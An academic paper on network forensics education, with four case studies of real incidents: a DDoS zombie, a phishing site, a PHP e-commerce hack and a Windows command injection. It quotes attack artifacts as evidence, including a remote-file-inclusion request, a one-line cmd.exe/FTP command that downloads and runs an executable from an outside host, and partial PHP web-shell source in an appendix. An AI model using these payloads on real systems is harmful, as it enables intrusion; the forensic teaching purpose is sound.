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ABSTRACT 
Most computer forensics experts are well-versed in basic computer hardware technology, operating 
systems, common software applications, and computer forensics tools. And while many have 
rudimentary knowledge about the Internet and simple network-lookup tools, they are not trained in the 
analysis of network communication protocols and the use of packet sniffers. This paper describes 
digital forensics applications for network analysis and includes four case studies. 
Keywords: computer forensics education, network forensics, protocol analysis 
1. INTRODUCTION 
The bulk of the computer forensics literature demonstrates clearly that this discipline is, in many ways, 
a subset of computer science. Indeed, the very best computer forensics examiners know a lot about 
computer hardware, operating systems, and software. As a result, many educational curricula in this 
field are being taught under the auspices of a Computer Science or other computer technology-related 
department. Frequently, the emerging curricula place an emphasis on computer science and 
programming (NIST, in press). 
Practitioners in both the private and public sectors, however, need to possess a broad set of knowledge 
areas in cyberspace. In particular, analysis and interpretation of network traffic -- live or otherwise -- 
has become increasingly important to the computer forensics community in the last several years. 
Network data -- either live traffic, stored communications, or server logs -- contain information that 
might be of use to the forensics examiner. In fact, there is so much potential information in these log 
files that due diligence requires the investigator to look at as much of this information as possible and 
the sheer volume makes it nearly impossible to examine every source of data in every case. (The 
problems implied by the previous sentence are well beyond the scope of this paper.) 
This paper will present some insights about the role of network forensics and how knowledge of 
computer communications and network protocols is emerging as a necessary skill for digital 
investigators -- perhaps even more than programming itself. Indeed, many of the issues discussed here 
are already well-known within the information security community, but are still on the periphery of 
the education and training of computer forensics practitioners. The paper will conclude with some 
network investigation case studies. 
2. THE ROLE OF NETWORK FORENSICS 
The analysis of network data is fundamentally different than the analysis of data found on a hard drive 
due to the temporal nature of the network information. When a computer is shut down, the contents of 
the hard drive remain intact and static. In a network, everything is constantly changing. Any live 
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network analysis, at best, captures a snap shot of the current activity. While both parties in a case can 
examine the same snapshot data, it is impossible to replicate the network state at a later time (Casey & 
Stanley, 2004; Nikkel, 2005; Shanmugasundaram, Brönnimann, & Memon, 2006). 
Network-based information can be used for a variety of network management, information assurance, 
and criminal and civil investigation purposes. While similar tools might be used for these divergent 
needs, they do have some different processes and procedures, as well as potentially different legal 
constraints. Some data is collected for the express purpose of ensuring compliance with governmental 
regulations (e.g., Sarbanes-Oxley [SOX] or the Health Insurance Portability and Accountability Act 
[HIPAA]) or industry requirements (e.g., tracking music downloads or licensing software). If law 
enforcement (LE) is involved in any examination (in the U.S.), Fourth Amendment search and seizure 
protections are in play and a search warrant may well be needed. This may also affect non-LE 
personnel; if a system manager finds something that he or she believes to be evidence of a crime and 
turns that information over to LE, any subsequent action that the sysadmin takes on behalf of LE 
makes him/her an agent of the state and also subject to the search warrant requirement (Carrier, 2003; 
Kenneally, 2001; Shanmugasundaram et al., 2006). 
In any case, there is a blurring between intrusion detection, network security monitoring, and 
collection of data for forensic analysis. The differences between them hinge on these questions (Casey 
& Stanley, 2004; Shanmugasundaram et al., 2006): 
? What is the intended purpose of the information collection? 
? What information should be collected? 
? When should the information be collected? Jones, Bejtlich, and Rose (2006) note that data 
collected prior to a compromise or network event is proactive, whereas data collected during or 
after an event is a reactive or emergency condition. 
? How (and where) is the information stored? 
? How (when, and by whom) is the information retrieved? 
Jones et al. (2006) suggest that there are four basic classes of network information that might be 
collected by the forensics examiner: 
? Full content data: Collect every bit of information, including packet headers, on the network. 
As an example, the contents from all network servers might be imaged and saved, whereas the 
actual data examined will be defined at a future date by a judge. 
? Session data: Collect only the information pertinent to a particular investigation. For example, 
an investigator might serve a search warrant on an Internet service provider (ISP) to turn over 
all data associated with a given customer at a certain date and time, analogous to the FBI's 
former Carnivore project, where specific e-mail messages within defined parameters -- such as 
certain keywords or user names -- would be collected. 
? Alert data: Collect only data that includes particular items of interest. This is similar to the 
actions of an intrusion detection system (IDS) that collects information indicating known 
potential attack behavior or unknown, but abnormal, behavior. 
? Statistical data: Information that individually might not be suspicious but that, taken in the 
context of the overall network activity, indicates something remarkable. For example, use of 
secure file transfers between two users might be indicative of some nefarious communication if 
secure file transfers are otherwise not used. Although applying statistical methods to network 
data analysis for forensic applications is still an emerging area, it will be an important one in 
the future. Much of the current research in this particular area is attempting to define what 
statistical models to use. An operational model merely compares observed events with 
expected ones, based upon some definition of normalcy. A mean and standard deviation model 
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uses these statistical measures to determine that some event has deviated from the norm; in this 
model, a network has to "learn" what is normal over a period of time. The multivariate model is 
similar but uses multiple variables and a χ2 test to determine an abnormal event. A time series 
model is also similar to the mean and standard deviation model, except that it uses time 
between events as the key to abnormality. Finally, a Markov process model uses a state 
transition matrix as the indicator of the norm so that a state change that has a low probability of 
occurrence might stick out as a suspicious event (Redding, 2006). 
3. SOURCES AND TYPES OF NETWORK DATA 
Part of the complexity of gathering network information is that there are a variety of sources and types 
of information that can be gathered. Some of the more obvious locations of network data include 
(Casey, 2004b; Nikkel, 2005): 
? IDS and firewall logs 
? Hypertext Transfer Protocol (HTTP), File Transfer Protocol (FTP), e-mail, and other server 
logs 
? Network application logs 
? Backtracking of network packets and Transmission Control Protocol (TCP) logical connections 
? Artifacts and remnants of network traffic on hard drives of seized systems 
? Live traffic captured by a packet sniffer or network forensic acquisition software 
? Individual systems' routing and Address Resolution Protocol (ARP) tables, and responses to 
port scans and Simple Network Management Protocol (SNMP) messages 
There are some potential weaknesses -- forensically speaking -- with network-acquired data. First off, 
any number of activities or events might influence or affect the collected data in unknown ways, 
including TCP relaying, proxy servers, complex packet routing, Web and e-mail anonymizers, Internet 
Protocol (IP) address or e-mail spoofing, compromised third party systems, session hijacking and 
other person-in-the-middle attacks, and domain name system (DNS) poisoning (Casey, 2004b; Nikkel, 
2005). 
A second area of vulnerability is with the tools themselves. Most real-time network analysis is 
accomplished with packet sniffers and protocol analyzers. Packet sniffers are devices that capture 
network traffic on wired or wireless networks. Although packet sniffers were, at one time, relatively 
complicated and expensive pieces of hardware, they are now available as free, command line or 
graphical interface software for a variety of platforms (e.g., Ethereal,1 tcpdump,2 and Wireshark3). 
Although a network interface card (NIC) will typically see only packets specifically addressed to it, 
packet sniffers can place the NIC into a promiscuous mode, allowing the computer to listen in on all 
communications on a broadcast segment of the network. Special monitoring ports on some switches 
allow a network manager to monitor all packets even on a switched network. Packet sniffing software 
in combination with a protocol analysis capability makes a very powerful tool for information security 
professional as well as network forensic analysts. Protocol analyzers provide an interpretation of the 
traffic, parsing the bits and bytes into the raw messages from Ethernet, TCP/IP, FTP, HTTP, and other 
protocols. Packet sniffers and protocol analyzers are at the core of many types of network security and 
analysis products, including intrusion detection systems, security event management software, and 
network forensics analysis tools (Kent, Chevalier, Grance, & Dang, 2006). 
Packet sniffing software is well-known and, by and large, accepted within the digital forensics 
                                                 
1 http://www.ethereal.com/ 
2 http://www.tcpdump.org/ 
3 http://www.wireshark.org/ 
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community. Because real-time data is being collected, however, it is quite possible that some data 
might be missed (e.g., if the network data rate is too high for the NIC of the acquiring system) or 
silently lost (e.g., a misconfigured filter might drop certain packets as "uninteresting"). Some forensics 
tools -- such as EnCase Enterprise Edition,4 LiveWire,5 and ProDiscover IR6 -- are specifically 
designed to acquire information over networks but each has limitations, such as the inability to acquire 
process memory or mounted drives on remote systems (Casey, 2004b; Casey & Stanley, 2004; Nikkel, 
2005). 
4. THE ROLE OF PROTOCOL ANALYSIS: FOUR CASE STUDIES 
Network analysis is new turf for many digital investigators. With this new type of investigation comes 
new tools, most notably protocol analysis software and packet sniffers. Packet sniffers are an essential 
tool for incident response and network forensics, generally providing the most amount of useful real-
time information about a network (Kent et al., 2006). 
Network investigations can be far more difficult than a typical computer examination, even for an 
experienced digital forensics examiner, because there are many more events to assemble in order to 
understand the case and the tools do not do as much work for the examiner as traditional computer 
forensics tools. If an investigator is looking for chat logs, images, or e-mail messages, for example, 
most common computer forensics tools will specifically find those types of files. Examining live 
network traffic, however, requires that the examiner understand the underlying network 
communications protocol suite, be it TCP/IP or something else. While a packet sniffer can grab the 
packets, and a protocol analyzer can reassemble and interpret the traffic, it requires a human to 
interpret the sequence of events (Casey, 2004a; Casey, 2004b, Owen, Budgen, & Brereton, 2006). 
The remainder of this paper will present four case studies in which the authors played a role, using 
different network analysis tools. All of these cases could apply to either network forensics examiners 
or information security professionals. 
4.1 Case Study #1: Distributed Denial-of-Service Attack 
Exploitation of a vulnerable system on a network -- particularly prevalent on systems within the .edu 
domain -- is a common way in which to launch other attacks. In a distributed denial-of-service (DDoS) 
attack, an intruder finds a site to compromise and places a DDoS master program of some sort on the 
victim host. The DDoS master system runs code -- often worms -- that automatically and 
systematically finds other systems to exploit by searching for open ports or services, particularly those 
that are not secured and/or are being used by application software with known vulnerabilities. The 
DDoS master places zombie programs on those machines; zombies merely sit and wait for instructions 
from the master. When the Bad Guy wants to launch an attack, an instruction is sent to the DDoS 
master system which, in turn, sends messages to all of the zombies in order to coordinate the attack. 
After an attack is initiated, the victim site is inundated with network traffic -- from hundreds, possibly 
thousands, of sources. Analysis of this traffic might lead the examiner to some of the zombies. 
Analysis of those machines might -- but not necessarily -- lead to the DDoS master system. Even if the 
DDoS master can be found, the examiner would still have to back track to the original intruder. Each 
of these steps becomes increasingly difficult. 
Packet sniffers and IDS are an important tool in the fight against these types of attacks. In the 
following case, the system administrator of a server in a college environment was advised by the 
Information Technology Department that the server (doggie.example.edu) was suddenly generating an 
enormous amount of network traffic, consuming considerable bandwidth. As a result, the college 
                                                 
4 http://www.guidancesoftware.com/products/ee_index.asp 
5 http://www.wetstonetech.com/catalog/item/1104418/2347979.htm 
6 http://www.techpathways.com/ProDiscoverIR.htm 
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isolated the server's portion of the network until the situation could be resolved. 
The first author was asked to investigate and immediately put tcpdump, a command line Linux 
packet sniffer, on the network to look at all traffic coming from or going to the suspect machine. The 
results are shown below: 
 
[root@altamont gck]# tcpdump host doggie.example.edu 
12:03:36.016502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF) 
12:03:46.016502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF) 
12:04:37.016502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF) 
12:04:47.006502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF) 
12:05:38.016502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF) 
12:05:48.016502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF) 
12:06:39.006502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF) 
12:06:49.006502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF) 
12:07:40.006502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF) 
12:07:50.006502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF) 
12:08:41.006502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF) 
12:08:51.006502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF) 
12:09:42.016502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF) 
12:09:52.016502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF) 
 
The output shows that the server, doggie.example.edu, was sending packets to the IP address 
192.0.2.7.7 The first thing that leaps out here is the rate at which these packets were being generated; 
one packet followed by another 10 seconds later, followed by another 51 seconds later, in a repeating 
pattern. This was, of course, much too regular for a person at a keyboard and was undoubtedly 
generated by software. 
The second thing to observe is that this was a stream of Internet Control Message Protocol (ICMP) 
Echo Reply messages. Echo Reply messages are a basic part of ICMP and are normally sent only in 
response to Echo Request messages (Postel, 1981). Note, however, the absence of incoming Echo 
Requests in this packet stream. 
A more detailed look at the contents of the packets showed the following: 
 
[root@altamont gck]# tcpdump -x host doggie.example.edu 
12:12:45.016502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF) 
    4500 0414 0000 4000 4001 cdf9 c0a8 abcd 
    c000 0207 0000 9ca3 1a0a 0000 0000 0000 
    0000 0000 0000 0000 0000 0000 0000 0000 
    736b 696c 6c7a 0000 0000 0000 0000 0000 
    0000 0000 0000 0000 0000 0000 0000 0000 
    0000 
12:12:55.016502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF) 
    4500 0414 0000 4000 4001 cdf9 c0a8 abcd 
    c000 0207 0000 9ca3 1a0a 0000 0000 0000 
    0000 0000 0000 0000 0000 0000 0000 0000 
    736b 696c 6c7a 0000 0000 0000 0000 0000 
    0000 0000 0000 0000 0000 0000 0000 0000 
    0000 
12:13:46.016502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF) 
                                                 
7 To protect the true recipient of these packets -- and another victim of the attack -- the actual host address is obscured. IP 
addresses in the 192.0.2.0 block are reserved for example purposes, per Request for Comments (RFC) 3330 (IANA, 2002). 
This form of IP address is used in this paper when obscuring the true IP address. 
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    4500 0414 0000 4000 4001 cdf9 c0a8 abcd 
    c000 0207 0000 9ca3 1a0a 0000 0000 0000 
    0000 0000 0000 0000 0000 0000 0000 0000 
    736b 696c 6c7a 0000 0000 0000 0000 0000 
    0000 0000 0000 0000 0000 0000 0000 0000 
    0000 
 
Breaking down the packets show that these are valid IP packets, each containing a valid ICMP Echo 
Reply message. But inside the long string of zeroes is the hexadecimal string, 0x73-6b-69-6c-6c-7a. 
Interpreting these as ASCII8 characters reveals the string "skillz" which, taken together with the Echo 
Reply messages, is a known signature for the Stacheldraht DDoS zombie. The Echo Reply messages 
are the mechanism by which the exploited system will communicate with the DDoS master system 
(Dittrich, 1999). 
With this hint, subsequent examination of the server using the netstat command showed that it was 
listening on TCP port 65000, the avenue by which a Stacheldraht master communicates with its 
zombies (Dittrich, 1999). The case for this type of DDoS software was complete and the only thing to 
do was to totally rebuild the server from scratch. 
If these packets show communication between a DDoS zombie and master, what role does IP host 
192.0.2.7 play in all of this? That step also required some careful investigation because it was 
unknown whether that system was, itself, a victim or a perpetrator. The sysadmin and first author 
looked up the address using simple tools such as whois and dig. That information, plus some calls 
to the domain registrar and foreign host's ISP, suggested that this was a legitimate user -- and, most 
likely, an upstream victim. The technical contact for this domain was contacted and he stated that his 
server had been compromised some weeks earlier but that the attacker's rootkit had been removed -- or 
so he thought. The remote sysadmin had, apparently, merely cleaned the server of the known rootkit 
rather than rebuild the system but had been infected with more malware than just this one piece of 
software. 
The lesson, of course, is that if a system has been exploited, there is no way to know how badly it has 
been compromised. Upon discovery of the exploit, assume that the system cannot be cleaned but has 
to be rebuilt. One also has to take care in contacting apparent attackers. 
4.2 Case Study #2: Phishing 
Phishing and its variants (e.g., spear-phishing and pharming) are serious problems on the Internet; 
October 2006 saw over 37,000 new phishing sites, a 757% increase from a year earlier (AFWG, 
2006). The authors were asked to investigate one particular phishing attack targeting a Vermont bank 
in the summer of 2005. In August 2005, the first author received a phishing e-mail purporting to come 
from Amazon.com (Figure 1). While the details of the bank phishing scheme cannot be presented here, 
analysis of the Amazon.com phishing scheme will be used to explore how the bank scheme was 
investigated. This particular e-mail was of interest because the first author actually has an Amazon 
account. 
                                                 
8 American Standard Code for Information Interchange; see http://www.garykessler.net/library/ascii.html. 
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Figure 1. Email purporting to come from Amazon.com. 
 
The received e-mail was the typical phishing message, purporting to come from a commercial 
organization where the recipient might have an account,9 a statement that some security breach has 
occurred, and the suggestion that the recipient logon to a given Web site to update or verify their 
personal information. 
In an effort to document the phishing attempt, the authors started a packet sniffer and followed the link 
provided in the e-mail -- despite warnings from the e-mail client. The result was a visit to a Web page that 
looked very much like the real Amazon.com Web site. The Uniform Resource Locator (URL) of the page -- 
http://creditunion.pm168.com.cn/index.html?http://www.amazon.com/exec/o
bidos/flex-sign-in/ -- is particularly interesting because while it clearly shows the bogus host name, 
creditunion.pm168.com.cn, it also shows the legitimate amazon.com login page URL. Most users will ignore 
the beginning of the URL once they recognize the familiar Amazon.com address and a seemingly familiar 
page. Of course, the question mark and everything that follows it is ignored so, in fact, the user has been 
redirected to the bogus host somewhere in the .cn (China) top-level domain. The author responded to the 
bogus sign-in page by supplying a bogus username and password (Figure 2). 
                                                 
9 Or not! A surprising number of people will enter information in response to phishing e-mails at sites purporting to belong to 
companies where they do not have an account. 
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Figure 2. Sign-in page at bogus Amazon.com site, with bogus username and password. 
 
Starting a packet sniffer at the beginning of this exchange proved to be very useful. Figure 3 shows the 
TCP packets exchanged when the authors submitted the bogus information shown in Figure 2; the 
information at the top of the display (in red) shows the HTTP contents of outbound packets from the 
author's computer and the bottom part of the display (in blue) shows the response from the Web server 
(Fielding et al., 1999). Note that the block of text starting with method=GET (a common way of 
submitting form information) contains the strings USERID= has0234%40yahoo.com and 
PSWD=123456 which correspond to the username and password, respectively, entered in the form 
shown in Figure 2. 
The more interesting item of information is that the host of the login.php file, as shown in the second 
line of the packet stream, is as26489.epolis.ru. So, although the bogus server is housed in the .cn 
domain, the user information is going to .ru (Russia), having been referred via the bogus Web site (as 
noted in the Referer line). 
 
Figure 3. TCP packet stream showing user login to bogus Web site. 
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The login attempt will always be successful, of course, because this site is not authenticating users but 
merely collecting usernames and passwords. Having succeeded at that, the site shows a page where the 
user can edit their account information. The authors supplied additional bogus information on this 
page, too; note that at this point, all pretense of carrying an Amazon.com address in the URL are 
dropped (Figure 4). 
After hitting the SUBMIT button, the user is then taken to the legitimate Amazon.com Web site 
(Figure 5). Here, of course, the author is greeted by name, a result of the Amazon cookies on the 
author's computer. Any doubts as to the legitimacy of the previous few pages is all but erased by the 
appearance of a familiar page which greets one by name and has a proper URL. 
The network analysis had only begun at this point; the next step was the use of DNS tools to track the 
IP addresses of the bogus sites (Nikkel, 2004). Looking up the host name 
creditunion.pm168.com.cn revealed the canonical name of s310.now.net.cn and an IP 
address of 61.145.112.138. The IP address was within range assigned to the Asia-Pacific 
Network Information Center (APNIC) and, in turn, to a smaller block that been allocated to the China 
Network Information Center (CNNIC), responsible for IP address assignments in China. A traceroute 
to this particular address showed a handoff to China Telecom USA prior to going overseas. 
The host name of the server collecting the username, passwords, and credit card information was 
as26489.epolis.ru with an IP address of 81.177.0.199. This address is part of the RIPE 
address block; whois information provided contact information at the rt-comm.ru network and a 
Moscow telephone number. 
 
 
 
Figure 4. Entering bogus credit card information. 
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Figure 5. Redirect to the legitimate Amazon.com Web site. 
 
4.3 Case Study #3: Web E-commerce Server Hack 
In February 2006, the authors were involved in an investigation of an e-commerce server that had been 
hacked. The system administrator re-built the server using a new hard drive so that we were able to 
take a close look at the compromised system. 
One of the key points in the exam was found in the Web server logs. In particular, this HTTP GET 
command entry stood out: 
192.0.2.36 - - [10/Jan/2006:15:08:38 -0500] "GET 
/shoppingcart/includes/orderSuccess.inc.php?cmd=%65%63%68%6F%20%5F%5
3%54%41%52%54%5F%3Bid;echo%3B%65%63%68%6F%20%5F%45%4E%44%5F;echo;&gl
ob=1&cart_order_id=1&glob[rootDir]=http://contnou.sapte.ro/srdyh.pdf
? HTTP/1.1" 200 2423 "-" "-" 
 
The version of the e-commerce shopping cart software employed by this particular business at the time 
had a vulnerability whereby a nefarious user could force the server to execute a command. In this case, 
the "%xx" entries represented the hexadecimal representation of ASCII characters and "translate" to 
the following command: 
 
/shoppingcart/includes/orderSuccess.inc.php?cmd=echo 
_START_;id;echo; 
echo_END_;echo;&glob=1&cart_order_id=1&glob[rootDir]=http://contnou.
sapte.ro/srdyh.pdf? 
 
In this case, the attacker was able to upload and execute the PDF file named in the command. One 
simple tool that we employed was the Sam Spade10 safe browser, which allows the user to visualize a 
Web page's Hypertext Markup Language (HTML) code without actually rendering the page. We found 
not a PDF file, but an HTML page that allows an attacker to design an exploit code (Figure 6). The 
entire file is shown in Appendix A. 
 
 
                                                 
10 http://www.samspade.org 
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Figure 6. Opening the "PDF" file with a browser. 
 
Subsequent examination showed that this access came from a host on an ISP in New York City. The 
contnou.sapte.ro host -- ostensibly in the Romania (.ro) domain -- resolved to an IP address 
within a block allocated to another New York City ISP. 
4.4 Case Study #4: One Hole is All an Exploit Needs 
One common vulnerability of software is susceptibility to so-called buffer overflows, where a 
nefarious user can enter more information than the software is expecting, causing unexpected results. 
Properly written software will detect and ignore accidental or purposeful buffer overflow attempts, but 
many such vulnerabilities remain. Some buffer overflow exploits allow a nefarious user to send a set 
of instructions to a server; a Bad Guy will use this vulnerability to install a rootkit, allowing the 
attacker to return later and own the system. Other variants of this theme are those vulnerabilities that 
will allow an attacker to force an application to execute a single command of the attacker's choosing. 
In late 2006, the authors investigated a hacked Web site at a small business running Windows 2003 
Server. The systems administrator had noticed unusual log entries and then found that his system was 
running a number of unknown applications. 
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Figure 7: Unusual entry in the set of recent Run commands. 
 
One item that the sysadmin found was this entry in the recent Run command list (Figure 7): 
 
cmd.exe /c del i&echo open 192.0.2.68 5685 > i&echo user l l >> 
i&echo get 123.exe >> i &echo quit >> i &ftp -n -s:i & 
123.exe&del i&exit 
 
This line was inserted by exploiting a vulnerability in one of the server's applications that allowed an 
attacker to inject just one command. But this particular command is a compound command that started 
up the DOS command interpreter, built an FTP script, used FTP to run the script and download an 
attack tool, and then executed the attack tool. A detailed parsing of the injected command is below: 
 
 cmd.exe Run the DOS command interpreter 
 /c  Interpret the string that follows this switch as the command line 
 del i  Delete the file named "i" 
 &  Concatenate the next item to this command 
 echo open 192.0.2.68 5685 > i 
   Send the line open 192.0.2.68 5685 to the file i 
 &  Concatenate the next item to this command 
 echo user l l >> i 
   Append the line user l l to the file i 
 &  Concatenate the next item to this command 
 echo get 123.exe >> i 
   Append the line get 123.exe to file i 
 &  Concatenate the next item to this command 
 echo quit >> i 
   Append the line quit to file i 
 &  Concatenate the next item to this command 
 ftp -n -s:i 
   Run FTP using file i as the command source (s:i) 
 &  Concatenate the next item to this command 
 123.exe Execute the file 123.exe 
 &  Concatenate the next item to this command 
 del i  Delete file i 
 &  Concatenate the next item to this command 
 exit  Exit this script 
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Simply stated, this single command created a file in the system32 directory named i with the following 
contents: 
 
open 192.0.2.68 5685 
user l l 
get 123.exe 
quit 
 
The file is a command script for FTP. First, a connection is made to port 5685 on host 192.0.2.68, 
which is presumably a hidden FTP daemon. The command accesses the FTP server with a username 
of 1 and a password of 1, downloads a file named 123.exe, and then exits the FTP server. The IP 
address that was actually employed resolved back to a Bell Canada DSL customer in the area of 
London, Ontario. 
The nefarious command then executes 123, deletes the file i, and exits the script. We found the file i, 
however, because once control was transferred to 123.exe, this script was never completed. (Even if it 
had been deleted, it would have been discoverable anyway with a computer forensics tool since it 
would have been deleted and not wiped.) 
This command was found in the Registry key HKCU\Software\Microsoft\Windows 
\CurrentVersion\Explorer\RunMRU which made it seem that it was typed in at the keyboard of the 
server. Finding the vulnerable software, however, made it apparent that the exploit was the way in 
which this command appeared. 
Coincidently, the authors investigated another incident the following week with a similar attack 
vector. At that time, a state agency's ISP advised the sysadmin that a large volume of Internet Relay 
Chat (IRC) traffic was being generated by their server. This traffic was being sent to a host in Japan 
using TCP port 6669. Numerous other ports were also found to be open on the system. 
Examination of event logs showed a number of interesting events starting three months earlier. The 
server, which had essentially run non-stop for months at a time, performed a sudden restart, right after 
the execution of a Windows Media Player (WMP) event. This same pattern was seen periodically over 
the next few months, until the report of the IRC traffic. Upon further examination, we stumbled across 
a file named i -- in the system32 directory. This file was almost identical to the previous attack except 
the name of the downloaded file was different and, of course, the IP address was different, this one 
resolving to a system in Buenos Aires, Argentina. The IP address of the host that ostensibly placed the 
command on the system was from the Miami, Florida area. Continued examination showed that the 
system had been infected with many types of malware, including Backdoor.Usirf, 
Backdoor.Hackdefender, W32.Dropper, and W32.IRCBot.D. 
This compromised system was running services over Windows 2000 Professional. It also had an older 
version of WMP that happened to have a known vulnerability that allows an attacker to elevate their 
credentials on the target host. In this case, it is believed that WMP provided the first attack vector 
whereby the same single command as seen the previous week was used to upload some backdoor 
rootkit; this seems to be a relatively common mechanism with which to insert nefarious code on a 
foreign host. The installed malware can, of course, take any number of actions and that is how the 
additional malware was uploaded. 
The difference between the two compromises and their investigative results was the logging efforts by 
the two companies. The first site relied solely on the Windows Event Viewer and the second site used 
a more robust Web log. Ironically, despite inferior logging capabilities, the first site noticed a problem 
with their server within days of the attack whereas the second site's initial breach was not noticed for 
several months, until the increase in IRC traffic was reported. Nevertheless, the second site's logs 
provided an incredible amount of information in piecing together the attack and helping with the 
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investigation, whereas there was little network information from the first site due to limitations with 
the Windows standard logging. 
Although both sites had sensitive personal information, no evidence was found to suggest that the sites 
were specially targeted for that information or even that the information was downloaded. Instead, 
both target hosts look like they were the victims of an automated attack because they were accessible 
and vulnerable, and then used to troll for other vulnerable sites. 
5. LEGAL ASPECTS AND TOOL RELIABILITY 
Because of the newness of network forensic activity, network examiners are often left to use existing 
and emerging tools that have not yet faced the challenge of being proven valid in court. In some 
respects, the presentation phase of a digital investigation is the most critical; regardless of what has 
been found, it is worthless if the information cannot be convincingly conveyed to a judge and jury. 
The test for admissibility of scientific evidence in U.S. federal courts (and about a dozen state courts) 
is called the Daubert test, named for the landmark case, Daubert v. Merrell Dow Pharmaceuticals 
(O'Connor & Stevens, 2006; Supreme Court of the United States, 1993). According to Daubert, a 
judge has to determine the admissibility of evidence using the following four guidelines: 
? Testing: Can -- and has -- the procedure been tested? 
? Error Rate: Is there a known error rate of the procedure? 
? Publication: Has the procedure been published and subject to peer review? 
? Acceptance: Is the procedure generally accepted in the relevant scientific community? 
At this time, network forensics examiners use a combination of open source tools and proprietary 
software for purposes of extracting data and reporting the results of the analysis. Both types of 
software are open to at least these two questions: 1) did the extraction software get all of the pertinent 
data, and 2) did the presentation software accurately report the results without omissions? 
One way to validate software is by feeding it known input and examining the output, and the National 
Institute for Standards and Technology (NIST) is taking a lead role in forensics software testing.11 
Another way to validate the tools is by examining the source code. Open source software has an 
advantage in this regard compared to the closed nature of commercial software. While proprietary 
software should not be suspect merely because it is secret, there are those that argue that closed 
software does seem to fly in the face of the Daubert test (Brenner, 2005; Carrier, 2003; Kenneally, 
2001). 
6. CONCLUSION 
As the case studies in the article show, awareness of network commands, general knowledge of 
Internet protocols, use of packet sniffing software, and familiarity with Web sites and programs that 
yield information from the DNS are essential tools for digital investigations. The capture and analysis 
of network traffic represents a future direction of digital investigations and is a significant departure 
from the current way of conducting traditional computer analysis. Instead of the static scenario in 
which to conduct a computer examination, live and/or network exams provide a snapshot in time, one 
that might not be able to be replicated or verified. These new types of investigations will require new 
tools, processes, and procedures, as well as new skills on the part of the examiner. They will also 
represent a new challenge to the criminal justice system as practitioners, lawyers, judges, and law 
makers determine how the methodologies fit into existing laws (Brenner, 2005). 
While many in the field recommend that computer forensics examiners take more and more 
programming courses, most practitioners do not, in fact, write programs; most of the tools available 
                                                 
11 http://www.cftt.nist.gov/ 
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today get the job done and are accepted in courts of law whereas homegrown tools will face the uphill 
battle of validation. On the other hand, knowledge of network analysis and protocols, and the tools 
with which to support that activity, are possibly even more important skills for the computer forensics 
examiner. While there are tools that will capture and display network data, the practitioner needs to 
know how to properly interpret what they are seeing in the context of their investigation. 
Put another way, knowledge of network hardware and application protocols is as essential to a 
network-based investigation as knowledge of computer hardware and file systems is to a computer-
based investigation. 
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APPENDIX A 
Suspect PDF File 
 
 
The following information was returned by the Sam Spade safe browser when attempting to download 
the PDF file at the URL http://contnou.sapte.ro/srdyh.pdf. Text in red shows the generic Sam Spade 
display; green text shows the HTTP commands sent by the Sam Spade browser; blue shows the HTTP 
responses from the Web server, and black shows the HTML code sent from the server.12 
 
 
02/16/06 13:58:58 Browsing http://contnou.sapte.ro/srdyh.pdf 
Fetching http://contnou.sapte.ro/srdyh.pdf ... 
GET /srdyh.pdf HTTP/1.1 
Host: contnou.sapte.ro 
Connection: close 
User-Agent: Sam Spade 1.14 
 
HTTP/1.0 200 OK 
Date: Thu, 16 Feb 2006 18:57:51 GMT 
Server: Apache/1.3.34 
Last-Modified: Mon, 09 Jan 2006 14:24:52 GMT 
ETag: "1008357-1c6b-43c27234" 
Accept-Ranges: bytes 
Content-Length: 7275 
Content-Type: application/pdf 
Age: 70 
X-Cache: HIT from Ares 
X-Cache-Lookup: HIT from Ares:8080 
X-Cache: MISS from Zeus 
X-Cache-Lookup: MISS from Zeus:8080 
Connection: close 
 
<CENTER> 
<DIV STYLE="font-family: verdana; font-size: 25px; font-weight: bold; 
color: #808080;">CMD-UX </DIV> 
<BR> 
<DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; 
color: #808080;">System Information<br><br></DIV> 
<?php 
 
if(empty($chdir)) $chdir = @$_GET['chdir']; 
 
//  
  closelog( ); 
 
  $dono = get_current_user( ); 
  $ver = phpversion( ); 
  $login = posix_getuid( ); 
  $euid = posix_geteuid( ); 
  $gid = posix_getgid( ); 
  if ($chdir == "") $chdir = getcwd( ); 
                                                 
12 This HTML page is shown here exactly as downloaded. The actual HTML code (starting with the <CENTER> metatag) 
can be safely pasted into a file and opened by any Web browser to see how it is rendered. An electronic version of this as a 
text file can be found at http://digitalforensics.champlain.edu/reference/hack.txt. 
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?> 
<table cellSpacing="0" cellPadding="0" border="0"> 
<?php 
 
  $uname = posix_uname( ); 
  while (list($info, $value) = each ($uname)) { 
 
?> 
  <TR align="left"> 
    <TD><DIV STYLE="font-family: tahoma; font-size: 15px;"><?= $info ?>: 
<?= $value ?></DIV></TD> 
  </TR> 
<?php 
  } 
?> 
  
  <TR> 
   <TR align="left"> 
    <TD><DIV STYLE="font-family: tahoma; font-size: 15px;">Script Current 
User: <?= $dono ?></DIV></TD> 
  </TR> 
  <TR align="left"> 
    <TD><DIV STYLE="font-family: tahoma; font-size: 15px;">PHP Version: <?= 
$ver ?></DIV></TD> 
  </TR> 
  <TR align="left"> 
    <TD><DIV STYLE="font-family: verdana; font-size: 15px;">User Info: 
uid(<?= $login ?>) euid(<?= $euid ?>) gid(<?= $gid ?>)</DIV></TD> 
  </TR> 
  <TR align="left"> 
    <TD><DIV STYLE="font-family: tahoma; font-size: 15px;">Current Path: 
<?= $chdir ?></DIV></TD> 
  </TR> 
  <TR align="left"> 
    <TD><DIV STYLE="font-family: tahoma; font-size: 15px;">Server IP: <?php 
$aaa =  gethostbyname($SERVER_NAME);  echo $aaa;?></DIV></TD> 
  </TR> 
   <TR align="left"> 
